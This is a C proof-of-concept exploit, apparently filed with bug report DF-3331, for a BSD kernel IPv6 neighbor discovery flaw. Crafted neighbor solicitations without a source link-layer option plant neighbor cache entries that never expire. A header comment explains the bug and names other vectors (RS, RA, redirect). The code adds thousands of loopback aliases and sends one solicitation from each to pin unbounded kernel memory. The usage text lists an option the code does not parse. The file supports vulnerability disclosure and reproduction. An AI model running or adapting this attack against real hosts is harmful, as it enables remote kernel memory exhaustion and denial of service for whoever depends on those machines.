DF-3331 / nsimmort.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 | /* * DF-3331 PoC -- nd6_cache_lladdr() creates ND6_LLINFO_NOSTATE neighbor * cache entries with ln_expire == 0 that nd6_timer() NEVER garbage collects * (no NOSTATE case in its state switch, nd6.c:496-572), so every ND packet * from a not-yet-cached source WITHOUT a source link-layer address option * plants an immortal kernel allocation (rtentry + radix node + llinfo_nd6). * * BUG (sys/netinet6/nd6.c): * nd6_ns_input() (nd6_nbr.c:407) calls * nd6_cache_lladdr(cmpifp, &saddr6, lladdr, lladdrlen, ...) * unconditionally, with lladdr == NULL when the NS has no SLLA option. * nd6_cache_lladdr() then does nd6_lookup(from, 1, ifp): * - nd6_rtrequest(RTM_ADD) (nd6.c:1294-1320) allocates ln, and for * req==RTM_ADD leaves ln_expire == 0 (only RTM_RESOLVE sets it), * - nd6_lookup sets ln_state = ND6_LLINFO_NOSTATE (nd6.c:920-925), * - nd6_cache_lladdr case (6) (nd6.c:1780-1786) keeps NOSTATE and * sets no expiry. * nd6_timer_dispatch() (nd6.c:463-574) skips entries with * ln_expire == 0 in every case that would free them and has NO case for * ND6_LLINFO_NOSTATE (-2) at all: the entry lives until the interface * is detached or the machine reboots. * * => an unauthenticated ON-LINK attacker sends NS (no SLLA) from N * distinct source IPv6 addresses and permanently pins N kernel * allocations: unbounded kernel memory exhaustion (route table + * llinfo), trivially at line rate. Same vector via RS (nd6_rtr.c:181, * router-mode hosts) and RA without SLLA (nd6_rtr.c:403, accept_rtadv * hosts); redirect without TLLA (icmp6.c:2314). * * PRIVILEGE MODEL: this PoC runs as root ONLY because AF_INET6 raw * sockets cannot spoof the IPv6 source (no IPV6_HDRINCL on BSD) -- the * kernel builds the outer header from the bound local address. We * therefore add N local aliases on lo0 and send one NS per alias, * modeling an on-link attacker sending from N arbitrary source * addresses. The real attack needs NO local privilege: the injected * packets are bit-identical to what any on-link peer emits, and the * target address (::1) requires no knowledge beyond host aliveness. * * usage: nsimmort [-n count] [-b base] [-s sleep_ms] */ #include <sys/param.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <sys/types.h> #include <net/if.h> #include <netinet/in.h> #include <netinet/icmp6.h> #include <netinet6/in6_var.h> #include <arpa/inet.h> #include <errno.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> static const char *ifname = "lo0"; static const char *base = "2001:db8:d34d::"; /* alias stem */ static void die(const char *s) { fprintf(stderr, "nsimmort: %s: %s\n", s, strerror(errno)); exit(1); } static void mask6(struct sockaddr_in6 *sin6, int plen) { int i; memset(sin6, 0, sizeof(*sin6)); sin6->sin6_len = sizeof(*sin6); sin6->sin6_family = AF_INET6; for (i = 0; i < plen / 8; i++) sin6->sin6_addr.s6_addr[i] = 0xff; if (plen % 8) sin6->sin6_addr.s6_addr[plen / 8] = (0xff00 >> (plen % 8)) & 0xff; } static int add_alias(int s, const char *addr, int plen) { struct in6_aliasreq ifra; memset(&ifra, 0, sizeof(ifra)); strlcpy(ifra.ifra_name, ifname, sizeof(ifra.ifra_name)); ifra.ifra_addr.sin6_len = sizeof(ifra.ifra_addr); ifra.ifra_addr.sin6_family = AF_INET6; if (inet_pton(AF_INET6, addr, &ifra.ifra_addr.sin6_addr) != 1) { fprintf(stderr, "bad addr %s\n", addr); exit(1); } mask6(&ifra.ifra_prefixmask, plen); return ioctl(s, SIOCAIFADDR_IN6, &ifra); } static int send_ns(const struct in6_addr *src) { struct { struct nd_neighbor_solicit ns; } pkt; struct sockaddr_in6 me, dst; int s, hops = 255, rc; memset(&pkt, 0, sizeof(pkt)); pkt.ns.nd_ns_hdr.icmp6_type = ND_NEIGHBOR_SOLICIT; pkt.ns.nd_ns_hdr.icmp6_code = 0; pkt.ns.nd_ns_hdr.icmp6_cksum = 0; /* kernel computes it */ if (inet_pton(AF_INET6, "::1", &pkt.ns.nd_ns_target) != 1) die("inet_pton(::1)"); if ((s = socket(AF_INET6, SOCK_RAW, IPPROTO_ICMPV6)) < 0) return (-1); memset(&me, 0, sizeof(me)); me.sin6_len = sizeof(me); me.sin6_family = AF_INET6; me.sin6_addr = *src; if (bind(s, (struct sockaddr *)&me, sizeof(me)) < 0) { close(s); return (-1); } if (setsockopt(s, IPPROTO_IPV6, IPV6_UNICAST_HOPS, &hops, sizeof(hops)) < 0) { close(s); return (-1); } memset(&dst, 0, sizeof(dst)); dst.sin6_len = sizeof(dst); dst.sin6_family = AF_INET6; if (inet_pton(AF_INET6, "::1", &dst.sin6_addr) != 1) die("inet_pton"); rc = sendto(s, &pkt, sizeof(pkt), 0, (struct sockaddr *)&dst, sizeof(dst)); close(s); return (rc); } int main(int argc, char **argv) { struct in6_addr src; char addrbuf[64]; long n = 5000, i, ok = 0, fail = 0; int s, c; while ((c = getopt(argc, argv, "n:b:i:")) != -1) { switch (c) { case 'n': n = atol(optarg); break; case 'b': base = optarg; break; case 'i': ifname = optarg; break; default: goto usage; } } argc -= optind; argv += optind; if (argc != 0) { usage: fprintf(stderr, "usage: nsimmort [-n count] [-b base] [-i ifname]\n"); return (1); } if ((s = socket(AF_INET6, SOCK_DGRAM, 0)) < 0) die("DGRAM socket for ioctls"); for (i = 0; i < n; i++) { snprintf(addrbuf, sizeof(addrbuf), "%s%lx", base, (unsigned long)(0x1000 + i)); if (add_alias(s, addrbuf, 128) != 0) { if (errno != EEXIST) fail++; } if (inet_pton(AF_INET6, addrbuf, &src) != 1) die("inet_pton(alias)"); if (send_ns(&src) < 0) fail++; else ok++; if ((i % 2500) == 2499) { printf("nsimmort: %ld/%ld NS sent (fail=%ld)\n", i + 1, n, fail); fflush(stdout); } } printf("nsimmort: DONE sent=%ld fail=%ld\n", ok, fail); return (0); } |